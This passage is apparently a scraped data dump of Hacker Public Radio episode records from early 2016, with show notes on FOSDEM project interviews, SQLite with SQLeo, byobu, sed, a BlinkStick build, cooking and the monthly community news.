                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Coreboot and Flashrom

                                                            \n\n

                                                            \"logo\"

                                                            \n
                                                            \ncoreboot is an extended firmware platform for delivering lightning fast and ultra secure boot experience on modern computers and embedded systems. As an Open Source project it provides auditability and helps regaining control over technology.\n
                                                            \n\n
                                                            \nflashrom is a utility for identifying, reading, writing, verifying and erasing flash chips. It is designed to flash BIOS/EFI/coreboot/firmware/optionROM images on mainboards, network/graphics/storage controller cards, and various other programmer devices.\n
                                                            \n\n

                                                            Listen to the interview with Carl-Daniel Hailfinger

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            OpenEmbedded

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \nWelcome to OpenEmbedded, the build framework for embedded Linux. OpenEmbedded offers a best-in-class cross-compile environment. It allows developers to create a complete Linux Distribution for embedded systems.\n
                                                            \n\n

                                                            Listen to the interview with Florian Boor

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            PicoTCP

                                                            \n\n

                                                            \"Logo\"

                                                            \n
                                                            \npicoTCP is the answer for a size, speed and feature conscious open source TCP/IP stack for embedded devices.\n
                                                            \nEach component of the stack is deployed in a separate module, allowing the user to select at compile time what needs to be included for any specific platform. This allows you to free up memory and resources, which are often mission-critical for a project.\n
                                                            \nThe provided API's are small, well documented and give you access to the library facilities, both from the applications and from the device drivers. The library facilitates the integration with the surroundings and minimizes the time needed to combine the stack with existing code. The support required to port to a new architecture is reduced to a set of macros defined in a header file specific for the platform.\n
                                                            \n\n

                                                            Listen to the interview with Toon Peters, Embedded Software Engineer at Intelligent Systems Belux by Altran

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            PTXdist and Barebox

                                                            \n\n

                                                            \"Logo\"\"Logo\"

                                                            \n
                                                            \nWhat is the best way to build a Linux distribution for an embedded system in a reproducible way, caring about long term maintenance and small footprint? PTXdist is a GPL licensed build system for userlands, started by Pengutronix. It uses the Kconfig configuration system from the Linux kernel. Although PTXdist (without patches) still fits on one disc, a whole root filesystem can be built as easy as \"ptxdist go\".\n
                                                            \n\n
                                                            \nbarebox is a bootloader designed for embedded systems. It runs on a variety of architectures including x86, ARM, MIPS, PowerPC and others. barebox aims to be a versatile and flexible bootloader, not only for booting embedded Linux systems, but also for initial hardware bringup and development. barebox is highly configurable to be suitable as a full-featured development binary as well as for lean production systems. Just like busybox is the Swiss Army Knife for embedded Linux, barebox is the Swiss Army Knife for bare metal, hence the name.\n
                                                            \n\n

                                                            Listen to the interview with Alexander Aring

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            JavaCard Pro

                                                            \n\n

                                                            \"photo\"

                                                            \n
                                                            \nJava Card OpenPlatform (JCOP) is a smart card operating system for the Java Card platform developed by IBM Zürich Research Laboratory. On 31 January 2006 the development and support responsibilities transferred to the IBM Smart Card Technology team in Böblingen, Germany. Since July 2007 support and development activities for the JCOP operating system on NXP / Philips silicon are serviced by NXP Semiconductors.\n
                                                            \n\n

                                                            Listen to the interview with Martin Paljak

                                                            \n\n

                                                            \"headshot\"

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Knitting

                                                            \n\n

                                                            \"Logo\"

                                                            \n

                                                            Listen to the interview with Siobhån Cottell

                                                            \n\n

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            Music By Fenster

                                                            \n\n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \nTrack name : Free Software Song\nPerformer : Fenster\nRecorded date : 2002\nCopyright : Copyright (C) 2002, \nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \nprovided this notice is preserved. \nPerformers: \nPaul Robinson (vocals), \nRoman Kravec (guitar), \nEd D'Angelo (bass), \nDave Newman (drums), \nBrian Yarbrough (trumpet), \nTony Moore (trumpet). \n
                                                            \n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"FOSDEM, FreeBSD, Matrix, Brainduino, Butterknife, pyhurdy, Coreboot, OpenEmbedded, PicoTCP, PTXdist, JavaCardPro, Knitting","version":0,"downloads":0,"valid":1}, {"id":1961,"date":"2016-02-08","title":"2015-2016 HPR New Years Show Episode 1","duration":9946,"summary":"Education, Podcasts, Trains and Bikes","notes":"

                                                            HPR NEW YEARS EVE SHOW EPISODE: 1

                                                            \n\n

                                                            https://photos.jdulaney.com/train/models/hon30/GEDC0157.JPG

                                                            \n

                                                            https://photos.jdulaney.com/train/models/hon30/GEDC0158.JPG Standard gauge N scale:

                                                            \n

                                                            https://photos.jdulaney.com/train/models/n/GEDC1995.JPG

                                                            \n

                                                            https://photos.jdulaney.com/train/models/n/GEDC0145.JPG

                                                            \n

                                                            https://photos.jdulaney.com/train/models/n/GEDC0137.JPG

                                                            \n

                                                            https://photos.jdulaney.com/train/models/n/GEDC0013.JPG

                                                            \n

                                                            https://photos.jdulaney.com/train/models/n/GEDC0010.JPG 3D printed N scale:

                                                            \n

                                                            https://photos.jdulaney.com/train/models/n/3d_printed_lima_0.jpg

                                                            \n

                                                            https://photos.jdulaney.com/train/models/n/3d_printed_lima_1.jpg

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2016","version":0,"downloads":0,"valid":1}, {"id":1962,"date":"2016-02-09","title":"2015-2016 HPR New Years Show Episode 2","duration":12011,"summary":"distros, Wearable, distros, RIP Ian Murdock, Chromebooks, Samsung, WW1, Libre Planet, TTS, and more","notes":"

                                                            HPR NEW YEARS EVE SHOW EPISODE: 2

                                                            \n\n

                                                            Links

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2016","version":0,"downloads":0,"valid":1}, {"id":1963,"date":"2016-02-10","title":"2015-2016 HPR New Years Show Episode 3","duration":10762,"summary":"Dyson Sphere, Star Wars, spammers, Tizen, Kevie, TV, Security, Single board PC's in general","notes":"

                                                            HPR NEW YEARS EVE SHOW EPISODE: 3

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2016","version":0,"downloads":0,"valid":1}, {"id":1964,"date":"2016-02-11","title":"2015-2016 HPR New Years Show Episode 4","duration":11108,"summary":"Cheap computers, ARM, Audio Book Club, Lights, Living, Orlando, Etching, Pronunciation, Pranks","notes":"

                                                            HPR NEW YEARS EVE SHOW EPISODE: 4

                                                            \n
                                                              \n
                                                            • Can you buy a NEW CHEAP computer that can run GNU Linux?

                                                            • \n
                                                            • Is ARM the future

                                                            • \n
                                                            • The HPR audio book club

                                                            • \n
                                                            • After hours fun at Linux conferences

                                                            • \n
                                                            • Christmas light displays

                                                            • \n
                                                            • Southern living and booze

                                                            • \n
                                                            • Visit Orlando

                                                            • \n
                                                            • Fun with etching

                                                            • \n
                                                            • Pronunciation of town names

                                                            • \n
                                                            • Pranks

                                                            • \n
                                                            • Naval warfare

                                                            • \n
                                                            • Some of TwoD's background story

                                                            • \n
                                                            • Scanning photos and kids' art

                                                            • \n
                                                            • Strange Steam badge: https://gj.reddit.com/r/'/comments/3yyju8/how_to_get_the_red_herring_steam_badge_holiday/

                                                            • \n
                                                            • Happy 2016 to everyone

                                                            • \n
                                                            \n

                                                            Links

                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2016","version":0,"downloads":0,"valid":1}, {"id":1965,"date":"2016-02-12","title":"Adding SQLite as a datasource to SQLeo","duration":601,"summary":"Using the graphical query builders from SQLeo with SQLite","notes":"

                                                            I have been looking for a tool that will graphically and programmatically track identifiers as they pass through systems. I could have done this in Inkscape after following the excellent tutorials on https://screencasters.heathenx.org/, however I also wanted to be able to describe the relationships programmatically.

                                                            \n

                                                            This got me to thinking about graphical query builders for databases. The idea is to show each system as a table block and then draw lines between them to show how \"Field_X\" in \"System_A\" will map to \"Field_Y\" in \"System_B\". Many of the proprietary and some free database solutions allow this type of view. However I also want to easily package the entire thing up, so that someone else could access it without needing to pay for or install any specialized software. That limited the choice of database to SQLite, which is small, supported on many platforms and is released into the Public Domain.\n

                                                            SQLite is an in-process library that implements a self-contained, serverless, zero-configuration, transactional SQL database engine. The code for SQLite is in the public domain and is thus free for use for any purpose, commercial or private. SQLite is the most widely deployed database in the world with more applications than we can count, including several high-profile projects.
                                                            \nPlease follow the instructions on the SQLite site for information on how you can install it on your system. For me on Fedora it's simple to install via dnf/yum. You might also want to install some GUI managers if that's your thing.\n
                                                            dnf install sqlite sqlitebrowser sqliteman\n
                                                            \n

                                                            I created a small database for demonstration purposes, consisting of two tables and one field in each.

                                                            \n

                                                            Next step is to download SQLeo Visual Query Builder which has support for a graphical query builder.\n

                                                            A powerful SQL tool to transform or reverse complex queries (generated by OBIEE, Microstrategy, Cognos, Hyperion, Pentaho ...) into diagrams to ease visualization and analysis. A graphical query builder that permits to create complex SQL queries easily. The GUI with multi-connections supports virtually all JDBC drivers, including ODBC bridge, Oracle, MySQL, PostgreSQL, Firebird, HSQLDB, H2, CsvJdbc, SQLite. And top of that, everything is open-source!
                                                            \n

                                                            SQLeo is a Java Tool and there is a limited version available on the web site which is limited to 3 tables per graph and 100 rows. Now as the program is released under the GPLv2.0, you could download the code and remove the restrictions. You can also support the project to the tune of €10 and you will get the full version ready to rock.

                                                            \n

                                                            Unzip the file and enter the newly created directory, and run the program as follows:

                                                            \n
                                                            java -Dfile.encoding=UTF-8 -jar SQLeoVQB.jar\n
                                                            \n

                                                            One slightly confusing thing, and the reason for this post, is that I could not find support for SQLite listed in the list of databases to connect to. A quick search on the support forum and I found the question \"Connection to SQLite DB\". I found the answer a bit cryptic until I read the manual related to JDBC Drivers, which told me how to add the sqlite library.

                                                            \n

                                                            SQLeo uses a standard Java sqlite library that is released under the Apache Software License, Version 2.0. You can download it from the SQLite JDBC MVNRepository and save it into the same directory as SQLeo.

                                                            \n

                                                            Right Click in the Metadata explorer window and select new driver.

                                                            \n

                                                            For step by step instructions please see hpr1965.html

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"SQLite, JDBC, SQLeo","version":0,"downloads":0,"valid":1}, {"id":1966,"date":"2016-02-15","title":"Whats in my bag","duration":420,"summary":"I talk about what I have in my bag today","notes":"

                                                            I describe the contents of my timbuk2 messenger bag today

                                                            \n
                                                              \n
                                                            1. Sony Vaio VPCEB42FM 6 pounds weight
                                                            2. \n
                                                            3. Lenovo x201 3 lbs
                                                            4. \n
                                                            5. iPad 3
                                                            6. \n
                                                            7. Galaxy Tab 3 lite
                                                            8. \n
                                                            9. charging cable for android phone
                                                            10. \n
                                                            11. charging cable for iPad 3
                                                            12. \n
                                                            13. Usb wall adapter to use with either iPad 3 or phone
                                                            14. \n
                                                            15. Ipod classic 6
                                                            16. \n
                                                            17. 6 usb drives ranging in size from 4 gb to 26 gb but mostly 8 or 16's
                                                            18. \n
                                                            19. screen cleaning cloth
                                                            20. \n
                                                            21. mini phillips head screwdriver
                                                            22. \n
                                                            23. Charging cable for laptop (has multiple heads that can be switched around to use for a variety of laptops)
                                                            24. \n
                                                            25. One thing that I forgot is to mention is a usb mouse.
                                                            26. \n
                                                            \n

                                                            Also I got the bag in January 2014

                                                            ","hostid":297,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"timbuk2 bag,x201,sony vaio,laptops","version":0,"downloads":0,"valid":1}, {"id":1967,"date":"2016-02-16","title":"How I saw the Linux Light at the end of the Windows tunnel","duration":859,"summary":"My personal story of discovery of Linux","notes":"

                                                            \nJust a regular story of a Linux power user, or how I loved computers, then I hated computers, then I loved computers again, and then I moved to a love/hate kind of thing...\n

                                                            ","hostid":323,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"Linux, Beginners, Computing history, Gaming","version":0,"downloads":0,"valid":1}, {"id":1968,"date":"2016-02-17","title":"Advanced Terminal Usage: byobu","duration":196,"summary":"Use this screen multiplexer wrapper to optimize your usage of the terminal, locally, and abroad.","notes":"

                                                            \nLong time listener, first time caller, here! My name is Jon Doe, but you can call me Jon.\n

                                                            \n

                                                            \nToday, I am going to be talking about a more advanced usage of the terminal in linux. This basic tutorial assumes that you have a basic knowledge of getting to the terminal, and installing software, so we can skip that, and make my job easier.\n

                                                            \n

                                                            \nFirst, you have software that you may want to run, and keep running, even if we disconnect, or even if we walk to another machine. Classically, there was 'screen' for this, but times change, and needs advance. My current favorite is byobu, a wrapper for the screen or tmux terminal multiplexers, tmux by default, now, which is a change since featured on episode 770 of HPR.\n

                                                            \n

                                                            \nTo run byobu, simply type it's name at the terminal, and watch it's magic. When we say it is a wrapper, this is in double context. It encapsulates the tmux or screen binary in script, and it provides some useful enhancements to the already awesome capabilities of a basic multiplexer, including a nice bar at the bottom, detailing the system stats, configurable to whatever stats you need to display.\n

                                                            \n

                                                            \nA screen multiplexer is an application that allows the running of multiple terminals, and their applications, within a single remote or local window, allowing you to change tasks with relative ease, similar to a window manager in X, but with no mouse needed.\n

                                                            \n

                                                            \nFor a basic test, go ahead and hit F2, and you will get a second terminal, the textual task tray at the bottom indicating your current and available terminals. F3 and F4 allow you to cycle between tasks, and F2 spawns additional.\n

                                                            \n

                                                            \nFor those following along, go ahead and hit F6, you will drop back to a shell, with byobu running everything in the background, and you can exit the terminal, or run whatever else you need to, outside of byobu's control. Use the byobu command again to reconnect, note that your session has remained open, and all terminal sessions are available for you to peruse. Also note that you can open byobu again, as the same user, both remotely and locally, and keep all of your terminals going, even on multiple systems and screens, at the same time. You can even share the session with others, assuming their ability to login, and cross code, or monitor usage of their session, for educational purposes, or group coding.\n

                                                            \n

                                                            \nA popular and useful feature of terminal windows is the ability to maintain a scroll back buffer, and using a multiplexer, ostensibly, destroys this ability on the graphical side, assuming you are using it in a graphical environment, keeping the text for itself. Fear not, good hacker, for the simple application of F7 will activate scroll back mode, and allow your cursor (or arrow) and page keys to scroll up and down the text buffer. Enter settles you back to the end, allowing quick access to whatever just happened in that specific task windows while you were away.\n

                                                            \n

                                                            \nThis has been an introduction to advanced terminal usage, brought to you by Jon Doe.\n

                                                            \n

                                                            \nAnd for those NPR nerds out there, \"This is HPR, Hacker Public Radio\"\n

                                                            \n

                                                            \nhttps://byobu.co/\n

                                                            ","hostid":324,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"byobu, bash, terminal, ssh, remote, linux","version":0,"downloads":0,"valid":1}, {"id":1969,"date":"2016-02-18","title":"Horrors of Spam (and the Greater Horror of filtering it)","duration":917,"summary":"In this Episode we will cover the Horror that is spam, and the great horror of filtering it.","notes":"

                                                            \nSpam Filtering isn't magic. A lot of work goes into helping keep your inbox clean, but there is still more hosting providers could do.

                                                            \n","hostid":174,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Spam, Spam Filtering, Hosting Providers","version":0,"downloads":0,"valid":1}, {"id":1970,"date":"2016-02-19","title":"How I got started with Linux","duration":1665,"summary":"I talk at length about how I got started with Linux","notes":"

                                                            \nThis story begins at the beginning of 2010.  I was broke at the time so I was trying to find a free operating system. I needed something I could run on my PC’s at home. I had searched on the Internet, but found nothing useful for a long time. But one day  I was at Barnes and Noble and I saw a magazine for Linux. (While I had heard of linux before I never thought of it as something I would ever be able to use.) When I asked people who I knew were computer professionals, I was told it was for people that were experts, and difficult to use. I never heard anything positive about it. I am so amazed that I hadn’t came across it sooner.

                                                            \n

                                                            When I read the magazine I became exposed to Ubuntu 9.10.  Karmic Koala. It sounded so good, as if it was exactly what I was looking for. As a result, I got very excited took it home, and to my surprise had such an easy time installing it to my PC that I decided to run it along with Windows XP as a dual boot system. All I did was put the live CD in the drive and the instructions were step by step you would have to be pretty slow to not get how to set things up.

                                                            \n

                                                            Since then I have been very satisfied with Ubuntu in general and I have been able to check out later versions of it such as 10.04 (Maverick Meerkat) and 10.10 Lucid Lynx. I am looking forward to 11.04 Natty Narwhal for how it integrates multi-touch even more than 10.04.  This experience just goes to show once again how I  manage to find the coolest stuff by accident.

                                                            \n

                                                            I will keep you posted on how I learn and grow with the different distros available so keep posted.

                                                            \n

                                                            Read more: https://computersight.com/operating-systems/windows/how-i-got-started-with-linux/#ixzz1aPlfhqoa\n

                                                            ","hostid":297,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"linux","version":0,"downloads":0,"valid":1}, {"id":1971,"date":"2016-02-22","title":"BlinkStick","duration":1080,"summary":"The BlinkStick is a small USB device with an RGB LED which you can build yourself","notes":"

                                                            BlinkStick

                                                            \n

                                                            Introduction

                                                            \n

                                                            In late 2013 I noticed the local Edinburgh Hacklab were offering soldering courses building a BlinkStick. I offered to sign my son Tim up to the next course since he wanted to learn to solder. He couldn't afford the time at that point, but we agreed to buy some BlinkSticks to build at home.

                                                            \n

                                                            This episode describes some of our experiences with building and using the device.

                                                            \n

                                                            The version we bought and built was the v1.0 release, since that and the BlinkStick Pro were all that was available. The base version now available is v1.1, and there are several other products available from the manufacturer in addition to these. The company is called Agile Innovative Ltd, based in the UK.

                                                            \n

                                                            I have written out a moderately long set of notes about this subject and these are available by following this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":103,"explicit":1,"license":"CC-BY-SA","tags":"BlinkStick,electronics,soldering,RGB LED,Integrated circuit","version":0,"downloads":0,"valid":1}, {"id":1972,"date":"2016-02-23","title":"How I got into Linux","duration":1224,"summary":"My first podcast. Me rambling about how I got into Linux.","notes":"

                                                            \nI will apologize now for some of the rough sound. This was recorded on a very old Sony tape recorder (all I had at the time). Hopefully, the tape hiss will cover up some of my Kentucky accent. Or vice versa. Whatever. This is the saga of me. And Linux. \n

                                                            ","hostid":325,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"Sony tape recorder,RedHat Linux,Enlightenment E16,dial-up,Mandrake,Debian,Icepack Linux,Slackware,Linux Mint,CrunchBang,OpenBSD","version":0,"downloads":0,"valid":1}, {"id":1973,"date":"2016-02-24","title":"Free/Libre/Vrije Software: The Goal and the Path","duration":6929,"summary":"A presentation given by Richard Stallman as part of FOSDEM fringe.","notes":"

                                                            \nNOTE for mp3 subscribers: On the request of RMS, we are not distributing this show in mp3 format. \n

                                                            \n\n

                                                            \nThis is a live recording of the presentation given by Richard Stallman as part of FOSDEM fringe. It was recorded at Auditorium D0.03, Campus Etterbeek, Vrije Universiteit Brussel, Pleinlaan 2, 1050 Ixelles, Belgium on Jan 29, 2016. You may remember that pokey interviewed Richard Stallman in episode hpr1116 (https://hackerpublicradio.org/eps.php?id=1116)\n

                                                            \n\n

                                                            \nThe slides for the presentation are available at https://static.fsf.org/nosvn/RMS_Intro_to_FS_TEDx_Slideshow.odp\n

                                                            \n\n\n
                                                            \nRichard Matthew Stallman (born March 16, 1953), often known by his initials, rms,[1] is a software freedom activist and computer programmer. He campaigns for software to be distributed in a manner such that its users receive the freedoms to use, study, distribute and modify that software. Software that ensures these freedoms is termed free software. Stallman launched the GNU Project, founded the Free Software Foundation, developed the GNU Compiler Collection and GNU Emacs, and wrote the GNU General Public License.\n
                                                            \nStallman launched the GNU Project in September 1983 to create a Unix-like computer operating system composed entirely of free software. With this, he also launched the free software movement. He has been the GNU project's lead architect and organizer, and developed a number of pieces of widely used GNU software including, among others, the GNU Compiler Collection, the GNU Debugger and the GNU Emacs text editor. In October 1985 he founded the Free Software Foundation.\n
                                                            \nStallman pioneered the concept of copyleft, which uses the principles of copyright law to preserve the right to use, modify and distribute free software, and is the main author of free software licenses which describe those terms, most notably the GNU General Public License (GPL), the most widely used free software license.\n
                                                            \nIn 1989 he co-founded the League for Programming Freedom. Since the mid-1990s, Stallman has spent most of his time advocating for free software, as well as campaigning against software patents, digital rights management, and other legal and technical systems which he sees as taking away users' freedoms, including software license agreements, non-disclosure agreements, activation keys, dongles, copy restriction, proprietary formats and binary executables without source code.\n
                                                            \nAs of 2014, he has received fifteen honorary doctorates and professorships.\n\n
                                                            ","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"RMS, GNU, Four freedoms","version":0,"downloads":0,"valid":1}, {"id":1974,"date":"2016-02-25","title":"Ubuntu Community donations, Governance and Hardware","duration":1598,"summary":"In general I was feeling bad about how donations work with Ubuntu","notes":"

                                                            \nI went to https://Ubuntu.com - https://Xubuntu.org, https://getfedora.org/ and https://www.opensuse.org/ to see how donations with the linux vendors worked.\n

                                                            \n

                                                            \nThe only one that I found was non profit was debain. It a real nonprofit certification in the USA.\n

                                                            ","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"donations,Ubuntu,Xubuntu,Fedora,OpenSUSE,Debian","version":0,"downloads":0,"valid":1}, {"id":1975,"date":"2016-02-26","title":"Interview With An Android App Developer","duration":829,"summary":"Sigflup here and holy crud it turns out my brother in law is an android developer","notes":"

                                                            \nIt's Christmas time and sigflup is spending time interviewing Dillon, who's an android developer.\n

                                                            ","hostid":115,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"interview,android","version":0,"downloads":0,"valid":1}, {"id":1976,"date":"2016-02-29","title":"Introduction to sed - part 1","duration":2668,"summary":"What sed is and how to use it in a simple way","notes":"

                                                            Introduction to sed - part 1

                                                            \n

                                                            sed is an editor which expects to read a stream of text, apply some action to the text and send it to another stream. It filters and transforms the text along the way according to instructions provided to it. These instructions are referred to as a sed script.

                                                            \n

                                                            The name \"sed\" comes from Stream Editor, and sed was developed from 1973 to 1974 as a Unix utility by Lee E. McMahon of Bell Labs. GNU sed added several new features including better documentation, though most of it is only available on the command line through the info command. The full manual is of course available on the web.

                                                            \n

                                                            To read the rest of the notes for this episode follow this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":90,"explicit":1,"license":"CC-BY-SA","tags":"sed,stream editor,option,regular expression,substitution","version":0,"downloads":0,"valid":1}, {"id":1977,"date":"2016-03-01","title":"What's In My Bag","duration":914,"summary":"EDC/Gear I carry/use","notes":"

                                                            Links to the gear I mention -

                                                            \n","hostid":325,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"Velox,multi-tool,Pocket Reference,screwdriver,Thermos","version":0,"downloads":0,"valid":1}, {"id":1978,"date":"2016-03-02","title":"Ultra High Vacuum: loading samples","duration":162,"summary":"A short overview of how to load a sample into UHV (ultra high vacuum)","notes":"

                                                            \nI hope this is the correct version of my introduction to Ultra high vacuum systems and loading samples. \n

                                                            \n

                                                            \nPlease consult with a professional before using nitrogen and ultra high vacuum system.\n

                                                            \n

                                                            \nNitrogen is dangerous in close environments as it displaces oxygen so please consult the health and safety risks. \n

                                                            \n","hostid":301,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Ultra high vacuum,nitrogen","version":0,"downloads":0,"valid":1}, {"id":1979,"date":"2016-03-03","title":"How to Make Perfect Steel-Cut Oats","duration":630,"summary":"I explain how to make the perfect tasty, nutritious breakfast in a slow cooker","notes":"

                                                            How to Make Perfect Steel-Cut Oats

                                                            \n\n

                                                            Steel-Cut oats are amazingly good—delicious and nutritious—but they're kind of a pain to cook because they're so hard and require so much simmering. It can take up to 30 minutes to cook them on the stove top and you have to stir constantly to make sure they don't boil over or stick to the pan. I tried doing them in a rice maker and in the microwave, neither of which turned out well. Then I tried the slow cooker and found that this is the perfect way to make steel-cut oats exactly right every time with hardly any effort.

                                                            \n\n

                                                            Ingredients

                                                            \n\n
                                                              \n\t
                                                            • Steel-cut oats
                                                            • \n\t
                                                            • Water (4-to-1 water-to-oats ratio)
                                                            • \n\t
                                                            • Salt (¼ teaspoon for each ¼ c. oats)
                                                            • \n\t
                                                            • Pure maple syrup to taste
                                                            • \n\t
                                                            • Butter to taste
                                                            • \n
                                                            \n\n

                                                            Instructions

                                                            \n\n

                                                            Just put all the ingredients in the slow cooker and cook on 200 degrees Fahrenheit for about 4 hours. The water and oats should be combined in a 4 to 1 ratio. When I make this using American measurements, I used 1 Cup water for each ¼ cup of oats. In the metric system this is about 240 ml water for each 40 grams of oats.

                                                            \n\n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"oatmeal, breakfast, cooking, slow cooker, oats, steel-cut oats","version":0,"downloads":0,"valid":1}, {"id":1980,"date":"2016-03-04","title":"Fixing An Audio Problem while having a rant","duration":593,"summary":"Describing how I solved an audio problem while having a rant about automation limiting control","notes":"

                                                            This podcast details how I solved an audio problem I discovered while trying to record another episode for HPR. I'll hopefully get around to recording my original idea at a later date.

                                                            \n

                                                            The recording was done in a bit of a hurry and I was a bit flustered so please excuse the fast talking and ranting.

                                                            \n

                                                            Link to article that solved my problem https://blog.tiger-workshop.com/ubuntu-rear-microphone-not-working-on-ad1988b-sound-chip/

                                                            \n

                                                            Command I used to install the app that solved my audio problem. App is from the standard Ubuntu 14.04 repo

                                                            \n
                                                            sudo apt-get install alsa-tools-gui
                                                            \n

                                                            Command to run from terminal to launch gui tool that solved the problem

                                                            \n
                                                            hdajackretask
                                                            \n

                                                            Links

                                                            \n\n","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Audio, Hardware, Linux","version":0,"downloads":0,"valid":1}, {"id":1981,"date":"2016-03-07","title":"HPR Community News for February 2016","duration":5248,"summary":"HPR Community News for February 2016","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n Nacho Jordi, \n Jon Doe, \n m1rr0r5h4d35.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            1956Mon2016-02-01HPR Community News for January 2016HPR Volunteers
                                                            1957Tue2016-02-02FOSDEM 2016 K building level 1 Group B and CKen Fallon
                                                            1958Wed2016-02-03FOSDEM 2016 K building level 1 Group AKen Fallon
                                                            1959Thu2016-02-04FOSDEM 2016 K building level 2Ken Fallon
                                                            1960Fri2016-02-05FOSDEM 2016 AW Building and moreKen Fallon
                                                            1961Mon2016-02-08HPR New Years Show Episode 1HPR Volunteers
                                                            1962Tue2016-02-09HPR New Years Show Episode 2HPR Volunteers
                                                            1963Wed2016-02-10HPR New Years Show Episode 3HPR Volunteers
                                                            1964Thu2016-02-11HPR New Years Show Episode 4HPR Volunteers
                                                            1965Fri2016-02-12Adding SQLite as a datasource to SQLeoKen Fallon
                                                            1966Mon2016-02-15Whats in my bagswift110
                                                            1967Tue2016-02-16How I saw the Linux Light at the end of the Windows tunnelNacho Jordi
                                                            1968Wed2016-02-17Advanced Terminal Usage: byobuJon Doe
                                                            1969Thu2016-02-18Horrors of Spam (and the Greater Horror of filtering it)Josh Knapp
                                                            1970Fri2016-02-19How I got started withy Linuxswift110
                                                            1971Mon2016-02-22BlinkStickDave Morriss
                                                            1972Tue2016-02-23How I got into Linuxm1rr0r5h4d35
                                                            1973Wed2016-02-24Free/Libre/Vrije Software: The Goal and the PathKen Fallon
                                                            1974Thu2016-02-25Ubuntu Community donations, Governance and HardwareJWP
                                                            1975Fri2016-02-26Interview With An Android App Developersigflup
                                                            1976Mon2016-02-29Introduction to sed - part 1Dave Morriss
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Nigel Verity <nigelverity@...>
                                                              \n Date: 2016-01-22 21:48:38 UTC
                                                              \n Subject: Re: FOSDEM Send in your questions
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1114
                                                              \n Messages: 1

                                                            2. \n
                                                            3. From: Joshua Knapp <jknapp85@...>
                                                              \n Date: 2016-02-02 15:45:25 -0800
                                                              \n Subject: Request.php giving 500 error?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1118
                                                              \n Messages: 3

                                                            4. \n
                                                            5. From: Charles Thayer <catintp@...>
                                                              \n Date: 2016-02-04 14:00:56 UTC
                                                              \n Subject: Re: HPR In the press
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1121
                                                              \n Messages: 1

                                                            6. \n
                                                            7. From: "zwilnik@..." <zwilnik@...>
                                                              \n Date: 2016-02-08 10:27:03 -0500
                                                              \n Subject: Re: HPR In the press
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1122
                                                              \n Messages: 1

                                                            8. \n
                                                            9. From: "David L. Willson" <DLWillson@...>
                                                              \n Date: 2016-02-11 09:11:59 -0700
                                                              \n Subject: speech synthesis during intro
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1124
                                                              \n Messages: 1

                                                            10. \n
                                                            11. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-02-11 17:18:23 +0100
                                                              \n Subject: Re: speech synthesis during intro
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1123
                                                              \n Messages: 3

                                                            12. \n
